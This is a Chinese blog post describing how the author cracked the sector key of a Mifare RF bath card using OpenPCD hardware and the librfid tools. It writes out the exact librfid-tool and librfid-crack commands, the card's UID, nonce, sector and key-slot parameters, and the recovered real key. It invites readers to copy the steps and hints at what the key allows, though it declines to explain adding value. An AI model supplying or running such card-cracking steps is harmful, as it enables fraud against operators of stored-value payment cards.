首页 > 代码库 > 破解简单Mifare射频卡密钥杂记
破解简单Mifare射频卡密钥杂记
推荐一个国外叫OpenPCD小组的产品,毕竟人家不管是电路图还是软件统统开源嘛。他们项目的地址在
http://www.openpcd.org
样卡图片:
接下来是软件,因为都是USB连接的,所以Linux下没什么驱动问题,只缺需要一个库文件,执行svn co http://svn.gnumonks.org/trunk/librfid
下载编译后呢,就可以使用了。
然后在目录底下执行librfid-tool -s
获得每张卡(标签)的UID:
比如我的浴卡返回了SERIAL: (4): 91 5c c5 2f 33 56 a1 c9
我的浴卡UID是“91 5c c5 2f”,随机密码值“33 56 a1 c9”
然后是霸气的一条命令librfid-tool -d -s 91 5c c5 2f -n 33 56 a1 c9 -sp 18 -k2 FF FF FF FF FF FF
哦……忘了说了,Mifare卡的加密是两个密钥互相锁定!读写是一个个扇区进行的,不能一个个字节读写,所以有了
- -sp:据查,只有18扇区浴卡公司加了密,其他扇区都是没有意义的空值,所以扇区填18
- -k2:这个是keyB,也就是第二个密钥,好吧,我承认我实验了很多次才知道是keyB是关键。后面的12个F只是乱写的密钥,你也可以随便编。
- -d:其实是dump,原始数据返回,这里用来破解了
这条命令下去,hoho,返回了“RX (4) 6a 12 c9 0b”,(4)说明密码错误。
废话,不错误那我这文章写来干吗?当然这个返回值极度重要。
在下来是librdif-crack登场!librfid-crack -u 91 5c c5 2f -r 6a 12 c9 0b -sp 18 -k2 FF FF FF FF FF FF
好吧,我不多解释了,大家对着文档或者呃参数画虎吧。
我的浴卡返回值是:“Cracked: 02 10 66 36 80 80”
奇怪吧,怎么这么像电话号码,我查了查……还真是这家公司的电话号码,哎……
有了密钥后想干吗干吗了
所以啊,大家就不要问我怎么加值了,这个问题绝不回答!